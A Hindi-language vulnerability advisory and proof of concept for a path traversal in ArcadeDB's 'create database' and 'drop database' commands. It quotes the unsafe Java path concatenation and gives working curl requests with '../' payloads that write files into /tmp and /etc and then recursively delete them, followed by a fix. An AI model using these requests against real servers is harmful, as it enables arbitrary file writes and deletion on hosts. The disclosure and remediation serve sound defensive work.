
CVE-2026-75855 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो ArcadeDB के डेटाबेस बनाने/हटाने के कमांड में एक पाथ ट्रैवर्सल है, जो कॉन्फ़िगर किए गए निर्देशिका के बाहर मनमानी फ़ाइल लिखने और हटाने की अनुमति देता है।
"create database" / "drop database" सर्वर कमांड में पाथ ट्रैवर्सल कॉन्फ़िगर किए गए डेटाबेस निर्देशिका के बाहर मनमाने फ़ाइल लेखन और विलोपन की अनुमति देता है
POST /api/v1/server एंडपॉइंट के create database और drop database कमांड कॉलर-आपूर्ति किए गए डेटाबेस नाम का उपयोग बिना किसी सैनिटाइज़ेशन, सामान्यीकरण, या कंटेनमेंट जांच के फ़ाइलसिस्टम पथ बनाने के लिए करते हैं। ArcadeDB सर्वर के रूट खाते के रूप में प्रमाणित उपयोगकर्ता ../ अनुक्रम वाला नाम प्रदान कर सकता है ताकि सर्वर किसी भी पूर्ण फ़ाइलसिस्टम पथ पर एक संपूर्ण डेटाबेस — मनमानी फ़ाइलें और निर्देशिकाएँ — बना (और बाद में हटा) सके, जिस पर सर्वर प्रक्रिया लिख सकती है, पूरी तरह से कॉन्फ़िगर किए गए arcadedb.server.databaseDirectory के बाहर।
यह लाइव सत्यापित किया गया था, स्वच्छ स्थिति से दो बार स्वतंत्र रूप से: एक निर्मित create database कमांड ने वास्तविक डेटाबेस फ़ाइलें /tmp/ में लिखीं और, एक अलग परीक्षण में, /etc/ में; एक मिलान वाले कमांड ने उसी ट्रैवर्सल स्ट्रिंग के साथ फिर निर्देशिका को पुनरावर्ती रूप से हटा दिया।
drop databaseserver/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
एकमात्र सत्यापन एक गैर-खाली जांच है। databaseName बिना किसी संशोधन के ArcadeDBServer.createDatabase() में प्रवाहित होता है (server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572):
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
यह कच्चा स्ट्रिंग संयोजन है, Path.resolve() + कंटेनमेंट जांच नहीं। DatabaseFactory (engine/src/main/java/com/arcadedb/database/DatabaseFactory.java) create()/open() द्वारा डिस्क पर फ़ाइलें लिखने से पहले कभी .normalize() नहीं कहता या सत्यापित नहीं करता कि हल किया गया पथ इच्छित आधार निर्देशिका के अंतर्गत रहता है।
dropDatabase() में समान सत्यापन की कमी है, और चूंकि सर्वर डेटाबेस को कॉलर द्वारा आपूर्ति किए गए शाब्दिक (ट्रैवर्सल-युक्त) नाम के तहत ट्रैक करता है, एक बाद का drop database जो भी निर्देशिका create database ने लिखी थी उसे पुनरावर्ती रूप से हटा देता है।
checkRootUser(user) दोनों कमांड से पहले लागू किया जाता है, इसलिए इसके लिए सर्वर के रूट खाते की आवश्यकता होती है — लेकिन यहाँ रूट ArcadeDB का अपना एप्लिकेशन-स्तरीय सुपरयूज़र है, जरूरी नहीं कि होस्ट तक OS/शेल पहुंच के समान विश्वास स्तर हो। databaseDirectory की कंटेनमेंट को तोड़ने से वह एप्लिकेशन-स्तरीय खाता किसी भी स्थान पर मनमानी फ़ाइलें लिख और हटा सकता है जहाँ JVM प्रक्रिया के पास OS अनुमतियाँ हैं।
पर्यावरण: ArcadeData/arcadedb @ कमिट 545e703, स्रोत से निर्मित (./mvnw -pl engine,server -am install -DskipTests), arcadedb.server.rootPassword सेट और arcadedb.server.databaseDirectory=/databases के साथ स्टैंडअलोन चलाया गया।
पुष्टि करें कि इच्छित डेटाबेस निर्देशिका खाली है।
ट्रैवर्सल पेलोड के साथ create database कमांड भेजें:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary..dict, txlog_.wal — एक पूर्ण, वास्तविक ArcadeDB डेटाबेस। इच्छित databases/ निर्देशिका पूरे समय खाली रहती है।
list databases शाब्दिक ट्रैवर्सल स्ट्रिंग को पंजीकृत नाम के रूप में लौटाता है, शून्य सामान्यीकरण की पुष्टि करता है:{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
/etc/arcadedb-poc2 में गहरे ट्रैवर्सल के साथ दोहराया गया — समान रूप से सफल, यह प्रदर्शित करता है कि लेखन /tmp या किसी विशेष फ़ाइलसिस्टम क्षेत्र तक सीमित नहीं है, केवल उसी तक सीमित है जिस पर प्रक्रिया लिख सकती है। न्यूनतम एकल-स्तरीय ../ ट्रैवर्सल के साथ भी पुनरुत्पादित, वास्तविक पथ पलायन की पुष्टि करता है न कि संयोगवश परिणाम की।
समान ट्रैवर्सल स्ट्रिंग के साथ drop database निर्देशिका को पुनरावर्ती रूप से हटा देता है:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}; निर्देशिका बाद में गायब पुष्टि की गई।
create database के माध्यम से) और मनमाना पुनरावर्ती विलोपन (drop database के माध्यम से) जिस पर सर्वर प्रक्रिया लिख सकती है, पूरी तरह से कॉन्फ़िगर किए गए databaseDirectory सैंडबॉक्स के बाहर।पथ विभाजक (/, \) या .. खंड वाले डेटाबेस नामों को सीधे अस्वीकार करें (इस वर्ग के पहचानकर्ताओं के लिए एक सरल अनुमति-सूची regex, जैसे ^[A-Za-z0-9_-]+$, मानक है), और किसी भी फ़ाइल ऑपरेशन से पहले Path.resolve(name).normalize() के साथ अंतिम पथ को रक्षात्मक रूप से हल करें और सत्यापित करें कि यह अभी भी कॉन्फ़िगर किए गए आधार निर्देशिका से शुरू होता है, createDatabase और dropDatabase दोनों में।
क्रेडिट: Pervin Zahidli (@ech0void )